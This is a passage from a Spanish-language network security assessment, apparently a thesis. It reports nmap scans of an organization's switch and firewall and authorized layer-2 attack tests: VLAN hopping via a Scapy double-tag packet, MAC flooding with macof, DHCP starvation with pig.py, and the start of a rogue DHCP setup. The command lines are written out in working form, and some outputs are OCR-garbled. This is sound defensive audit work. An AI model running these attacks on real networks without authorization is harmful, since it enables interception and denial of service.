4. Se filtra el trafico proveniente del espacio de direcciones RFC 1918 (IPs privadas) en la interfaz

WAN.

5. Se filtra el trafico proveniente del espacio de direcciones RFC 3330 (IPs de uso especial) en la
interfaz WAN.
6. Se filtra el trafico proveniente del espacio de direcciones interno de la organizacion en la interfaz

WAN.

7. Todos los paquetes se deniegan por defecto en todas las interfaces.

Al inspeccionar contra la checklist el firewall de la red se encontraron los resultados presentados en la

Tabla 11.
Tabla 11. Resultados de la inspeccion de la configuracion del firewall

item | Firewall Observaciones Recomendacion

1 Si El software del router/firewall por defecto tiene esta | Mantener esta
configuracion y no se ha cambiado configuracion

2 Si Esta es la practica que sigue la organizacion para la publicacion | Mantener esta
de servicios en Internet configuracion

3 Si El software del router/firewall por defecto guarda registro del | Mantener esta
trafico que filtra y esta configuracion se mantiene actualmente configuracion

4 Si El software del router/firewall por defecto filtra el espacio de | Mantener esta
direcciones RFC 1918 en la interfaz WAN vy esta configuracion | configuracion
se mantiene actualmente

5 Si El software del router/firewall por defecto filtra el espacio de | Mantener esta
direccion RFC 3330 y otros bloques de IPs mediante una | configuracion
caracteristica llamada filtrado de bogon networks y esta
configuracion se mantiene actualmente

6 Si Las direcciones IP de la organizacion pertenecen el espacio de | Mantener esta
direcciones privados y estas se filtran por defecto en la interfaz | configuracion
WAN del software del router/firewall que es la configuracién
actual

7 Si Esta es la configuracion por defecto del software del | Mantener esta
router/firewall y también la configuracion actual configuracion

4.2.5 Observacion del Comportamiento del Personal Técnico

Esta actividad no fue necesaria para el desarrollo de este trabajo.

4.2.6 Pruebas a Controles Técnicos de Seguridad

La prueba de controles técnicos de seguridad es el proceso de invocar condiciones que ponen a prueba
dichos controles contra sus funciones de seguridad destinadas [21]. Este tipo de recopilacion de datos
proporciona una excelente vision de la efectividad de los controles.

La verificacion de los controles de seguridad que se utilizan para proteger la infraestructura de red se
logra con pruebas de la respuesta de la red a los ataques que un actor malicioso pudiera hacer. El analista
de seguridad asume el papel de un atacante con intencion maliciosa.
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Todas las pruebas técnicas realizadas en esta seccion se ejecutaron desde un equipo conectado a la red
interna de la organizacion excepto en aquellos casos en que se hicieron pruebas a los servicios publicos de
la organizacion, en estos casos las pruebas se ejecutaron desde un equipo externo conectado a Internet. En
ambos casos el equipo para hacer las pruebas cuenta con Kali Linux en su version 2.0 instalado. Kali
Linux es una distribuciéon Linux basada en Debian especialmente desarrollada para hacer pruebas de
seguridad y andlisis forense que cuenta con todas las herramientas mas importantes para hacer hacking.
Todas las herramientas software que se usan en el presente trabajo vienen preinstaladas en Kali Linux.

Nota importante: Para el contexto de este trabajo y por razones de seguridad no se van a revelar las
direcciones IPs publicas de los servicios institucionales, en su defecto, se usara la estructura A.B.C.X
donde X es un valor variable para designarlas. De igual manera, con el fin de ocultar la direccion IP de la
interfaz WAN del firewall/router de la organizacidn en el contexto de este proyecto se usard la cadena
W.X.Y.Z para indicar dicha direccion IP.

Para efectos de este trabajo se define el siguiente direccionamiento que fue alterado convenientemente
para no revelar el verdadero de la organizacion objeto del estudio. En la Tabla 12 se dan los detalles del
direccionamiento e informacion de VLANs mas importantes para este trabajo y en la Tabla 13 se
muestran las direcciones IP relevantes durante la ejecucién de las pruebas técnicas.

Tabla 12. Direccionamiento para las pruebas técnicas

Nombre de la | Descripcion Direccionamiento | Tag de
Red VLAN
Red de Servidores | Segmento de red que conecta todos los servidores | 10.0.200.0/24 10
publicos y privados de la organizacion
Red Interna Segmento de red que conecta a los empleados de la | 10.0.203.0/24 40
organizacion
Red de | Segmento de red que contiene las interfaces de | 10.0.254.0/24 1
Administracion administracion de los dispositivos de red de la
organizacion
Direcciones Segmento de red que contiene las 6 direcciones IPs | A.B.C.81/29 NA
publicas publicas asignadas a la organizacion

Tabla 13. Direcciones IP de los dispositivos usados durante las pruebas

Dispositivo Direccion IP
Router/Firewall (interfaz WAN) W.X.Y.Z
Router/Firewall (interfaz Interna) 10.0.200.1
Switch (interfaz de administracion) 10.0.254.16
Maquina atacante o de prueba 10.0.203.9
Victima en Red Interna 10.0.203.8
Servidor al que se quiere capturar credenciales de autenticacion | 10.0.200.26

El equipo interno desde el que se ejecutaron las pruebas es un equipo con permisos de red de usuario
normal sin ningun privilegio elevado. En el Unico caso que la prueba requirié de privilegios mas elevados
esto se indica de manera explicita en el texto.
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La Figura 28 muestra los detalles de direccionamiento y participantes del escenario sobre el que se esta
ejecutando la prueba técnica que se va a describir a continuacion. Esta figura seré la referencia para todas
las pruebas técnicas que se van a ejecutar.

A.B.C.81/29
—NAT—

Internet

Red de ServidoresC
10.0.200.0/24

Victima
10.0.203.8

(1002030724
10.0.203.0/24 " )

Switch de Acceso ( Red de Administraciono)
10.0.254.16 10.0.254.?{24

Interfaces de
Administracion
de los Switches

Atacante Interno
10.0.203.8

Figura 28. Escenario de la prueba técnica de seguridad

Un enfoque para probar controles técnicos en los dispositivos de red se presenta a continuacion.

Servicios Innecesarios

Esta prueba en particular se hace desde una maquina sin restricciones de acceso a los puertos TCP/UDP
de la interfaz de administracion del switch y la del router/firewall ya que lo que se quiere es escanear el
dispositivo para determinar los servicios que tiene habilitados sin importar si las reglas del firewall
bloquean (o0 no) el acceso a los puertos donde se ejecutan los servicios.

Hacer un escaneo de los dispositivos de infraestructura muestra los servicios visibles de un dispositivo.

El objetivo de las presentes pruebas es determinar cudles son todos los servicios visibles en cada
dispositivo de red y evaluar cudles de ellos no son necesarios para la necesidad actual de la organizacion.
Nmap es la herramienta mas sencilla para hacer un escaneo a los dispositivos y asi detectar los servicios
activos que son innecesarios y que un potencial atacante pudiera comprometer.

Al hacer un escaneo de los 65535 puertos TCP de un switch de la organizacion obtenemos el resultado de
la Figura 29.
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# nmap -sS -sV -p 1-65535 10.0.254.16

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-12 12:12 VET
Nmap scan report for 10.0.254.16

Host is up, received echo-reply ttl 254 (0.0014s latency).

Scanned at 2015-11-12 12:12:20 VET for 343s

Not shown: 65532 closed ports

Reason: 65532 resets

PORT STATE SERVICE REASON VERSION

21/tcp open ftp syn-ack ttl 254 Huawei Quidway AR28-09 WAP ftpd
(user queue is full)

22/tcp open ssh syn-ack ttl 254 3Com switch sshd 5.20 Release
1101P10 (protocol 1.99)

80/tcp open http syn-ack ttl 254 3Com switch http config

Service Info: 0S: Comware; Devices: WAP, switch; CPE:
cpe:/h:82uawei:quidway ar28-09, cpe:/o:3com:comware

Figura 29. Resultado de escanear los puertos TCP de un switch

Al hacer un escaneo de los 1000 puertos UDP maés usuales de un switch de la organizacion obtenemos el
resultado de la Figura 30.

# nmap -sU -top-ports 1000 10.0.254.16

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-11-12 12:30 VET
Nmap scan report for 10.0.254.16

Host is up, received echo-reply ttl 254 (0.0020s latency).

Scanned at 2015-11-12 12:30:40 VET for 17s

Not shown: 999 open|filtered ports

Reason: 999 no-responses

PORT STATE SERVICE REASON

161/udp open snmp udp-response ttl 254

Figura 30. Resultado de escanear los puertos UDP de un switch

Al inspeccionar la salida de la herramienta Nmap aplicada a un switch para el escaneo de puertos TCP y
UDP se encontraron los resultados que se agrupan en la Tabla 14.

Tabla 14. Servicios visibles en un switch de la organizacién

Puerto | Protocolo | Servicio Descripcion Recomendacion

21 TCP FTP Servicio de descarga de | Deshabilitar este servicio y activar
archivos SFTP que es mas seguro

22 TCP SSH Este es un servicio para la | Mantener habilitado pero limitar
administracion remota por CLI | acceso solo a personal autorizado

80 TCP HTTP Interfaz web de administracion | Deshabilitar este servicio y activar el
del switch protocolo HTTPS que es mas seguro

161 UDP SNMP | Puerto para recibir solicitudes | Mantener habilitado pero limitar
SNMP acceso solo a dispositivos autorizados

Al hacer un escaneo de los 65535 puertos TCP del router/firewall desde la red interna de la organizacién
obtenemos el resultado de la Figura 31.
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#nmap -sS -sV -p 1-65535 10.0.200.1

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-11-12 11:38 VET
Nmap scan report for 10.0.200.1

Host is up, received arp-response (0.00026s latency).

Scanned at 2015-11-12 11:38:30 VET for 242s

Not shown: 65530 filtered ports

Reason: 65530 no-responses

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 64 OpenSSH 6.6.1 (protocol 2.0;
HPN-SSH patch 13v11l)

80/tcp open http syn-ack ttl 64 lighttpd 1.4.35

443/tcp open ssl/http syn-ack ttl 64 lighttpd 1.4.35

666/tcp open http syn-ack ttl 64 darkstat network analyzer

httpd 3.0.718
1984/tcp open bigbrother? Syn-ack ttl 64

Figura 31. Resultado de escanear los puertos TCP del router/firewall

Al hacer un escaneo de los 1000 puertos UDP mas usuales del router/firewall desde la red interna de la
organizacion obtenemos el resultado de la Figura 32.
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# nmap -sU -sC -top-ports 1000 10.0.200.1

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-12 11:54 VET
Nmap scan report for 10.0.200.1

Host is up, received arp-response (0.00042s latency).

Scanned at 2015-11-12 11:54:10 VET for 137s

Not shown: 998 open|filtered ports

Reason: 998 no-responses

PORT STATE SERVICE REASON
123/udp open ntp udp-response ttl 64
| ntp-info:

| receive time stamp: 2015-11-12T716:23:29
| version: ntpd 4.2.8pl@1.3265-0 Fri Feb 13 17:22:32 UTC 2015 (1)
| processor: 1386
| system: FreeBSD/10.1-RELEASE-p6
| leap: O

| stratum: 12

| precision: -21

| rootdelay: 0.000

| rootdisp: 0.000

| refid: 127.0.0.1

| reftime: 0xd9%9ee8318.3019d39d

| clock: 0xd9ef3b79.1b07926e

| peer: O

| tc: 6

| mintc: 3

| offset: 23.821117

| frequency: -10.368

| sys_Jjitter: 0.000000

| clk jitter: 3.714

| clk wander: 0.626

500/udp open isakmp udp-response ttl 64
Service Info: 0S: FreeBSD/10.1-RELEASE-p6

Figura 32. Resultado de escanear los puertos UDP del router/firewall

Al inspeccionar la salida de la herramienta Nmap aplicada al router/firewall desde una interfaz interna
para el escaneo de puertos TCP y UDP se encontraron los resultados que se agrupan en la Tabla 15.
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Tabla 15. Servicios visibles en el Router/Firewall interfaz interna

Puerto | Protocolo Servicio Descripcion Recomendacion
22 TCP SSH Servicio de administracion | Mantener habilitado pero limitar
remota por CLI acceso solo a  personal
autorizado
80 TCP HTTP Servicio de administracion | Mantener habilitado ya que el
web usando HTTP software  del  router/firewall
redirige  automaticamente  al
protocolo seguro HTTPS
123 UDP NTP Puerto para servicio de | Mantener este servicio
sincronizacion de tiempo
443 TCP HTTPS Servicio de administracion | Mantener habilitado pero limitar
web usando HTTPS acceso solo a  personal
autorizado
500 UDP ISAKMP Necesario para el | Mantener habilitado pero limitar
funcionamiento de la VPN el acceso
666 TCP HTTP Servicio de recoleccién de | Deshabilitar este servicio ya que
estadisticas de trafico. No se | no se esta utilizando
estd utilizando y no solicita
autenticacion
1984 | TCP BIGBROTHER | Agente de monitoreo del | Mantener habilitado pero limitar
dispositivo acceso solo a dispositivos
autorizados

Al hacer un escaneo de los 65535 puertos TCP desde Internet a la interfaz WAN del router/firewall

obtenemos el resultado de la Figura 33.

# 85map -sS -sV -p 1-65535 -PN W.X.Y.Z

Starting Nmap 6.47 ( http://nmap.org )
Nmap scan report for exchange.mydomain.gob.ve
Host is up (0.20s latency).

Scanned at 2015-11-12 18:28:18 VET for 1334s
Not shown: 65533 filtered ports

PORT STATE SERVICE VERSION

443/tcp open ssl/http Apache httpd

2110/tcp open http Apache httpd

at 2015-11-12 18:28 VET
(W.X.Y.Z)

Figura 33. Resultado de escanear los puertos TCP de la interfaz WAN desde Internet

Al hacer un escaneo de los 1000 puertos UDP mas usuales desde Internet a la interfaz WAN del

router/firewall obtenemos el resultado de la Figura 34.
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# nmap -sC -sU -top-ports 1000 -PN W.X.Y.Z

Starting Nmap 6.47 ( http://nmap.org ) at 2015-11-12 18:30 VET
Nmap scan report for exchange.mydomain.gob.ve (W.X.Y.Z)

Host is up.

All 1000 scanned ports on exchange.mydomain.gob.ve (W.X.Y.Z) are
open|filtered

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 240.63 seconds
Raw packets sent: 2000 (57.534KB) | Rcvd: 226 (18.357KB)

Figura 34. Resultado de escanear los puertos UDP de la interfaz WAN desde Internet

Al inspeccionar la salida de la herramienta Nmap aplicada al router/firewall desde Internet hacia la
interfaz WAN para el escaneo de puertos TCP y UDP se encontraron los resultados que se agrupan en la
Tabla 16.

Tabla 16. Servicios visibles en el Router/Firewall interfaz externa (WAN)

Puerto | Protocolo | Servicio Descripcion Recomendacion

443 TCP HTTPS | Servidor Z-Push usado para sincronizar | Mantener habilitado
contactos, agenda y otros elementos desde el | este servicio
servidor de correo hacia clientes moviles

2110 TCP HTTP Interfaz web de Xymon, la herramienta interna | Mantener habilitado
de monitoreo de infraestructura que se usa para | este servicio
monitorear remotamente usando un smartphone
la infraestructura

Pruebas a Switch y Servicio DHCP

La intencion es validar la seguridad de capa 2 en la infraestructura actual probando la respuesta de los
switches ante actividad maliciosa que deberian ser capaces de prevenir si estdn configurados
apropiadamente. Se van a probar los siguientes ataques de capa 2 y DHCP:

a) VLAN Hopping
b) MAC Flooding
c) DHCP Starvation
d) Rogue DHCP
e) ARP Spoofing

Todos estos ataques estdn explicados detalladamente en el Capitulo 2 del presente trabajo. Para
ejecutarlos haremos uso de las herramientas scapy, macof, pigpy, metasploit y ettercap todas disponibles
en Kali Linux.
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a) VLAN Hopping

Intencidn: Se quiere acceder desde una VLAN X a otra VLAN Y rompiendo el principio fundamental de
una VLAN que es la separacidon de traficos (asumiendo que no hay un router involucrado).

Resultado esperado: En un ambiente donde los switches estén configurados apropiadamente no debe ser
posible que frames especialmente forjados puedan saltarse la proteccion fundamental que dan las VLANs
que es la separacion de traficos.

Desarrollo de la prueba:

Este es un ataque que forja un paquete 802.1Q con dos tags de VLAN. Actualmente en la organizacién
hay una de las VLANS que tiene el tag 1 que es el valor por defecto y usar dicho valor puede hacer una
red vulnerable a este atague. Es precisamente desde dicha red en VLAN 1 y direccionamiento
10.0.0.254.0/24 (Red de Administracion) que se va a ejecutar la prueba.

Para esto se usa el software Scappy en el CLI y una vez en el prompt se ejecuta el siguiente comando para
forjar un paquete con doble tag de VLAN. El paquete que se esta forjando es un ICMP echo request
dirigido a la direccion broadcast capa 2. La ejecucion del comando se en la Figura 35.

# scapy

Welcome to Scapy (2.2.0)

>>> sendp (Ether(dst="ff:ff:ff:ff:ff:£ff"'",

src="00:01:02:03:04:05") /DotlQ (vlian=1) /DotlQ(vlan=10)/
IP (dst='255.255.255.255", src='192.168.0.1") /ICMP())

Sent 1 packets.

Figura 35. Ejecucion la herramienta scappy

La Figura 36 muestra una captura de paquetes usando Wireshark desde la maquina atacante conectada a la
Red de Administracion (que tiene el tag 1) para observar el paquete forjado.
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Filter: eth.addr eq 00:01:02:03:04:05 - | Expression... Clear Apply Save

No. [Time |source |Destination |Protocol |Length |Info
56226 54.39941200 192.168.0.1 255.255.255.255 58 Echo (ping) request id
79037 76.58940108 192.168.0. 255.255.255.255 ICMP 58 Echo (ping) reguest 1d=

Frame 56226: 50 bytes on wire (400 bits), 50 bytes captured (480 bits) on interface 0

Ethernet II, Src: 3comCorp 03:04:85 (00:01:02:03:04:05), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

802.1Q Virtual LAN, PRI: @, CFI: @, |ID: 1]

802.10Q Virtual LAN, PRI: ©®, CFI: 0,|ID: 18]

Internet Protocol Version 4, Src: 192.168.8.1 (192.168.8.1), Dst: 255.255.255.255 (255.255.255.255)
Internet Control Message Protocol

Figura 36. Captura de paquetes en maquina atacante para observar el doble tag de VLAN

La victima es la Red de Servidores (que tiene tag 10) y en la Figura 37 se muestra el uso de Wireshark
para capturar paquetes en dicha red. Se observa que se recibe el frame forjado en la maquina atacante lo
que no deberia suceder en una red que se segmenta usando VLANS.

Filter: eth.addr eq 00:01:02:03:04:05 v | Expression... Clear Apply Sawve

No. Time Source Destination Protocol Length Info

13216 18.22107000 192.168.0.1 255.255.255.255 Echo (ping) request
40410 40.41058000 192.168.0.1 255.255.255.255 ICMP 60 Echo (ping) request id=0

» Frame 18216: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0

» Ethernet II, Src: 3comCorp_03:84:05 (00:01:82:03:04:085), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
¢ Internet Protocol Versiom 4, Src: 192.168.8.1 (192.168.8.1), Dst: 255.255.255.255 (255.255.255.255)
» Internet Control Message Protocol

Figura 37. Captura de paquetes en un equipo de la VLAN victima

Resultado obtenido: En base a la evidencia se concluye que la red es vulnerable a atagues VLAN
Hopping.
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b) MAC Flooding

Intencion: Este ataque consiste en tratar de inundar la tabla CAM de un switch con la intencion de que al
llenarse, el switch actde como un hub y de esta manera poder capturar todos los datos que viajen por la
red. La tabla CAM es una tabla dindmica que mapea direcciones MAC a puertos del switch.

Resultado esperado: El switch no debe comportarse como un hub cuando su tabla CAM se llena. Esto es
algo que depende de la implementacion del software del switch.

Desarrollo de la prueba:

La computadora atacante esta conectada al puerto nimero 13 del switch de la organizacion seleccionado
para la prueba. Al entrar en la interfaz web del switch y hacer click en Network > MAC del menu
podemos ver la tabla CAM del switch en el que se esta filtrando por las direcciones MAC asociadas al
puerto del switch en el que esta conectado el equipo atacante (puerto 13). En la Figura 38 se puede
apreciar que antes del ataque hay solo una entrada MAC en la tabla para el puerto en el que esta
conectado el equipo.

GigahitEthernetl/0/13 Port ¥ | Search | Advanced Search
MALC WLAN 1D Type Port
cB9c-dc71-6847 40 Learned [GigabitEthernetl.fU.flS ]

Add Refresh Cel Selected

Figura 38. Tabla CAM para el puerto de la maquina atacante antes del ataque

El comando macof sirve para hacer ataques MAC Flooding generando frames con direcciones MAC de
origen y destino aleatorias de forma indefinida hasta que el usuario cancele el ataque. Se ejecuta como
puede observarse en la Figura 39.
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# macof -i ethO

--Salida omitida por razones de espacio--
72:7c:2a:14:f5:c2 3d:60:fa:11:a2:df 0.0.0.0.20358 > 0.0.0.0.53619: S
322085491:322085491(0) win 512
£f6:¢9:eb:38:93:7f 97:70:d2:4:2f:55 0.0.0.0.24772 > 0.0.0.0.28924: S
472646414:472646414(0) win 512
85:ed:49:72:18:bf 5e:cd:e5:37:6f:b 0.0.0.0.20220 > 0.0.0.0.60095: S
1607219285:1607219285(0) win 512
e9:85:0a:5c:bf:28 ££:76:42:22:8b:54 0.0.0.0.34073 > 0.0.0.0.22503: S
1329927005:1329927005(0) win 512
11:8d:8d:69:83:e5 b4:10:9£:29:8:6¢c 0.0.0.0.5182 > 0.0.0.0.7031: S
1153442321:1153442321(0) win 512
1f:cb:56:16:a0:46 9d:28:f3:49:b9%:e6 0.0.0.0.28168 > 0.0.0.0.8460: S
2005426188:2005426188 (0) win 512
ea:f5:6d:1:e8:39 d:49:dc:65:99:90 0.0.0.0.8648 > 0.0.0.0.5005: S
861854675:861854675(0) win 512
b3:d5:98:78:d0:85 a8:£f9:45:70:9f:8 0.0.0.0.65139 > 0.0.0.0.34326: S
331525205:331525205(0) win 512
4e:31:40:8:8d:al 85:f2:5f:39:1e:ac 0.0.0.0.6387 > 0.0.0.0.30288: S
491487669:491487669(0) win 512
26:0:55:7¢c:58:96 €2:49:8e:60:64:ab 0.0.0.0.58030 > 0.0.0.0.18619: S
918885804:918885804 (0) win 512

Figura 39. Resultado de ejecutar el comando macoff

Mientras se esta ejecutando el ataque MAC Flooding puede verse gque la tabla CAM se llena de nuevas
entradas. Un nuevo vistazo a la tabla CAM del switch filtrando por lo referente al puerto 13 revela que el
nimero de MACs para ese puerto ha crecido hasta las 7457 entradas (ver Figura 40). El tamafio maximo
de la tabla CAM del modelo de switch usado en la organizacion es 8192 entradas [23]. Las restantes 735
entradas de la capacidad de la tabla CAM ya estaban ocupadas antes del ataque.
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D e

GigabitEthernetl/0/13 Fort ¥ | Search | Advanced Search

MAC WLARN D Type Fort
000d-2130-b40f 40 Learned GigahitEthernetl/0/13
00la-ed39-bhGah 40 Learned GigahitEthernetl/0il3
0022-f764-b70d 40 Learned GigahitEthernetl/0/13
0023-d90h-614a 40 Learned GigahitEthernetl/0il3
0028-hd68-6fcl 40 Learned GigahitEthernetl/0il3
002a-3311-6aa3 40 Learned GigahitEthernetl/0il3
0039-5362-805a 40 Learned GigahitEthernetl/0il3
003d-0657-76b0 40 Learned GigahitEthernetl/0i13
0043-f327-08cd 40 Learned GigahitEthernetl/0il3
0047-6425-4d8d 10 Learned GigahitEthernetl/0/13
004c-9164-hbb5 40 Learned GigahitEthernetl/0il3
004f-6b2e-e6hd 40 Learned GigahitEthernetl/0/13
0052-c539-h478 40 Learned GigahitEthernetl/0il3
005a-d960-cf02 40 Learned GigahitEthernetl/0/13
0066-h107-83c0 40 Learned GigahitEthernetl/0il3

1?45? recordsl 15 ¥ |perpage | page 1/498, record 1-15 |
Add Refresh Del Selected

Figura 40. Tabla CAM para el puerto de la maquina atacante después del ataque

En algunos switches, este ataque hace que el dispositivo funcione como un hub y de esa forma podrian
capturarse contrasefia que viajen en texto plano por la red. Al tratar de capturar una contrasefia desde la
maquina atacante usando Wireshark (ver Figura 41) se observa que no logra capturarse ningun paquete.

Filter| http request.method=="POST" =xpression... Clear Apply Save

Mo . Time Source Destination Protocol Length Info

Figura 41. Intento de captura de contrasefia con Wireshark

Resultado obtenido: En base a la prueba realizada puede concluirse que el switch no es vulnerable ante
ataques MAC Flooding.

c) DHCP Starvation

Intencidn: La intencién de este ataque es agotar el pool de direcciones IP del servidor DHCP haciendo un
gran nimero de solicitudes de direccion IP.

Resultado esperado: Un entorno configurado apropiadamente no deberia permitir que un solo equipo
pueda solicitar todas las direcciones IP disponibles que un servidor DHCP tiene para ofertar ya que esto
causaria una situacion de DoS para usuarios legitimos que soliciten direccionamiento del servidor DHCP.
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Desarrollo de la prueba:

Para ejecutar este ataque existen varias herramientas disponibles, en este caso se hace uso de la
herramienta pig (ver Figura 42).

# pig.py ethO
WARNING: No route found for IPv6 destination :: (no default route?)
[ —— 1 [INFO] - using interface ethO
[ ] Thread 0 - (Sniffer) READY
[ ] Thread 1 - (Sender) READY
[ ] DHCP Discover
[--—>] DHCP Discover
[ ] DHCP Discover
[ ] DHCP Discover
[ ] DHCP Discover
[ ] DHCP Discover

—--Parte de la salida omitida por razones de espacio--
DHCP Discover
DHCP Discover
DHCP Discover
timeout waiting on dhcp packet count 4

waiting for DHCP pool exhaustion...

[DONE] DHCP pool exhausted!

Figura 42. Comando para hacer un DHCP Starvation

En la Figura 43 se visualiza una captura de paquetes al momento de la ejecucion del ataque filtrando el
trafico para mostrar solo aguel que sea DHCP. En la captura se puede observar la gran cantidad de
paquetes DHCP Discover que estd enviando en ese momento la maquina atacante cada una desde la
direccion IP 0.0.0.0 y una direccion MAC aleatoria.

En la salida del comando y en la captura de la Figura 43 no vemos ningin DHCP Offer. Esto significa
gue no se recibieron ofertas de direcciones DHCP desde el servidor y puede ser porque el DHCP ya
entregé todo el pool de direcciones o porque el ataque no tuvo éxito. En este caso, debido a la
configuracion del servidor DHCP el ataque DHCP Starvation no tuvo éxito.
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= g xXxXsc Q¢ 2 a2 EBE @9 Ul WEMRE -
Filter: [bootp VI Expression... Clear Apply Save
No. Time Source Destination Protocol Length Info
49 6£.095285000 0.08.0.0 255.255.255.255 DHCP 296 |DHCP Discover |- Transaction ID 8x15541681 ~
53 6.512616000 0.0.0.0 255.255.255.255 DHCP 296 |DHCP Discover |- Transaction ID 0x18a04712
56 6.944699000 0.0.0.0 255 o 255 o il 255 DHCP 296 |DHCP Discover |- Transaction ID Bx64e8cal
7.400605000 0.0.0.0 Discover - Transaction 0x225967b1
60 7.86BB83000 0.0.0.0 255.255.255.255 DHCP 296 |DHCP Discover |- Transaction ID 8x18261555
63 8.311079000 0.0.0.0 255 o &5 o el 25 DHCP 296 |DHCP Discover |- Transaction ID Bx1fdc2b8g
66 8.766516000 0.0.0.8 255.255.255.255 DHCP 206 |DHCP Discover |- Transaction ID @x644b922
67 9.222624000 0.0.0.0 255.255.255.255 DHCP 296 |DHCP Discover |- Transaction ID @x2f5508f3
73 9.6B83223000 0.0.0.0 255 o &5 o el 25 DHCP 296 |DHCP Discover [- Transaction ID B0x8827021
75 10.1206066000 0.0.0.8 255.255.255.255 DHCP 206 |DHCP Discover |- Transaction ID 8x17f2d5b5
79 10.57260200 0.0.0.0 255.255.255.255 DHCP 296 |DHCP Discover |- Transaction ID 8x12424b7c A
< 3 - .- e
* Frame 58: 296 bytes on wire (2368 bits), 296 bytes captured (2368 bits) on interface @ B
» Ethernet II, Src: de:ad:15:1f:4c:34 (de:ad:15:1f:4c:34), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
¢ Internet Protocol Version 4, Src: 0.0.0.0 (0.0.0.08), Dst: 255.255.255.255 (255.255.255.255)
+ User Datagram Protocol, Src Port: 68 (68), Dst Port: 67 (67)
» Bootstrap Protocol (Discover) d

Figura 43. Ataque DHCP Starvation a nivel de paquetes

El servidor DHCP de la organizacién esta configurado de tal manera que solo entrega direcciones IP a los
clientes que se definen manualmente mediante la asociacion de su direccion MAC con una IP definida
como se aprecia las Figuras 44 y 45. Con esta configuracion se evita que el servidor DHCP reparta
direcciones a clientes no autorizados que la soliciten.

Services: DHCP server

m LGRS SERVIDORES | ADMINISTRACION

1#| Enable DHCP server on INTERNA interface

] Deny unknown clients
If this is checked, only the clients defined below will get DHCP leases fram this server.

Subnret T 1002020
Subnet mask 255 255 265 .0
Available range 10.0.203.1 - 10.0.203 254

Figura 44. Configuracion actual del servicio DHCP en la organizacion
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DHCF Static Mappings for this interface.

Static
ARP

MAC address

68:05:99:a9:a0:1
00:04:23:cb:1d:88
clBcde 77112
08:00:27:6c:c2:09
c:Bede:7 1:90h:Ed
c8:9c:dc: 7 1.68:47
ciBecide:719c2e

c8:9c.dc:7 1.9d:0f

IP address Hosmame

i 203 .2
inbee 203 3
i 203 6
el 203 7
e 203 3
. 203 .9
S 203,10

[l

diael®® 203.11

Figura 45. Mapeo direcciéon MAC — direccion IP en el DHCP de la organizacion

Resultado obtenido: En base a las pruebas hechas puede decirse que con la configuraciéon actual el
servicio DHCP no es vulnerable a un ataqgue DHCP Starvation.

d) Rogue DHCP

Intencion: La finalidad de este ataque es instalar en la red un servidor DHCP no autorizado para
proporcionar a las victimas que soliciten configuracion de pardmetros de red en forma dinamica
informacidn falsa tal como el servidor DNS y el gateway por defecto que estén bajo control del atacante.

Resultado esperado: Un ambiente con switches bien configurados no deberia permitir que un atacante
pueda instalar un servidor DHCP no autorizado por la organizacion.

Desarrollo de la prueba:

Para lograr este ataque hay que ejecutar dos acciones:

1. Hacer un ataque DHCP Starvation para consumir el rango de direcciones IP que puede entregar el

servidor DHCP legitimo.

2. Configurar un DHCP no autorizado (Rogue DHCP) y entregar direcciones IP de gateway por
defecto (y de DNS si se quiere) de maquinas bajo control del atacante a los proximos clientes que
soliciten estos parametros mediante DHCP.

Para lograr este ataque hay que recolectar los siguientes datos previamente:

e Unadireccion IP que no se esté usando actualmente en la red.
e Unrango de direcciones IP que no se esté usando actualmente en la red.

Para hacer esa investigacion puede ejecutarse la herramienta Nmap con los pardmetros que se observan en

la Figura 46.

94



$ nmap -sP 10.0.203.0/24

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-12-08 15:29 VET
Nmap scan report for 10.0.200.1
Host is up (0.00012s latency).
MAC Address: 00:17:A4:3A:D8:FA (Hewlett-Packard Company)
Nmap scan report for 10.0.203.2
Host is up (0.00031s latency).
MAC Address: 68:B5:99:A9:A0:1E (Hewlett-Packard Company)
Nmap scan report for 10.0.203.6
Host is up (0.00016s latency).
MAC Address: C8:9C:DC:71:71:12 (Elitegroup Computer System CO.)
--Parte de la salida omitida por razones de espacio--
Nmap scan report for 10.0.203.220
Host is up (0.012s latency).
MAC Address: 00:0B:82:2F:63:98 (Grandstream Networks)
Nmap scan report for 10.0.203.242
--Parte de la salida omitida por razones de espacio —--
Nmap done: 256 IP addresses (28 hosts up) scanned in 1.87 seconds

Figura 46. Barrido de ping usando Nmap

Al analizar la salida anterior podemos concluir que hay al menos 28 hosts activos en la red y pueden
tomarse las siguientes direcciones IP que no se estan utilizando:

e |P disponible: 10.0.203.3. Esta sera la IP del router no autorizado que se esta configurando.
e Rango de direcciones IP: 10.0.203.221-241. Este sera el rango de direcciones a entregar por el
DHCP no autorizado que se esté tratando de implementar.

En la Figura 47 se muestra la configuracion de interfaces de red de la maquina atacante antes de ejecutar
el ataque. Podemos ver que la maquina cuenta con una sola interfaz de red con direcciéon IP 10.0203.9.

i~# 1fconfig
Link encap:Ethernet
1net addr:l : o 2
1nets addr: 50:: tdeff: 168 cope:lLin
UP BROADCAST 3 Metric:l
RX packets:1760123 : erruns:0 frame:0
TX packets 58 0 overruns:0 carrier:0
collisions -
RX bytes:1014957110 MiB) TX bytes:474191212 (452.2 MiB)

Mask : 255.255. 255. 0

Link encap:Local Looj
inet ad 7.0.0.1 M

Figura 47. Interfaces de red en la maquina atacante

A continuacion y haciendo uso de los datos recolectados previamente se procede a configurar la maquina
atacante para que reenvie los paquetes IP que reciba y para esto es necesario crear una subinterfaz de la
interfaz fisica del equipo (identificada con eth0). Una subinterfaz es una interfaz virtual a partir de la
interfaz fisica. EI comando para configurar una subinterfaz es el siguiente:
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|# ifconfig eth0:1 10.0.203.3 netmask 255.255.255.0

Luego de ejecutar el comando la configuracion de interfaces de red en la méaquina atacante queda como se
aprecia en la Figura 48. Ahora hay una nueva interfaz l6gica identificada con eth0:1 y con direccion IP
10.0.203.3

:~# 1fconfig
Link encap:Ethernet Hwaddr
1 ddr:1 =t
rdef
LTI

